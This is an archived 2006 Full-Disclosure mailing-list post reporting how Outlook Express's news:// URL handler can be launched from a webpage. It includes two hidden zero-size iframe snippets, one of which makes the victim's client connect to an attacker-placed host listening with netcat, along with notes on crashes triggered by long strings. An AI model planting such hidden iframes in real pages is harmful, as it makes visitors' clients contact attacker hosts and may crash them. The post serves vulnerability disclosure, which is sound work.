full-disclosure - OE - news:// stupid url handler behavior

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <BAY19-DAV2B7681DF5B766A5D8D2F9D92E0@phx.gbl>
Date: Thu Jan  5 13:18:38 2006
From: se_cur_ity at hotmail.com (Morning Wood)
Subject: OE - news:// stupid url handler behavior

Jan 4, 2006
Donnie Werner
http://exploitlabs.com

Web Browser / Outlook Express - stupid url handler behavior

I doubt this warrants a fix ( nor Advisory ) , but it is realy dumb,
note the sidebar and titles in OE when testing.

these launch OE from a webpage

1.
==
hi
<iframe src=news://omg-h4ck3d\owned height=0 width=0></iframe>

2.
==
hi
<iframe src=news://[attacker]\owned height=0 width=0></iframe>

listen on netcat, tries to connect ( obviously )

other observations:
==================
there appears to be lenght limits to:

news://longstring

Windows cannot access the specified device, path, or file.
You may not have the appropriate permissions to access the item

and...

news//something/longstring

Outlook Express could not be started. It may not be installed correctly.
Make sure that your disk is not full or that you are out of memory.
Contact Microsoft support for further assistance. ( 0x80004005, 1411)

[ OK ]

Outlook Express could not be started because MSOE.DLL could not be
initalized.
Outlook Express may not be installed correctly.

remarks:
========
i leave other research open to the public

Donnie Werner
http://exploitlabs.com
http://zone-h.org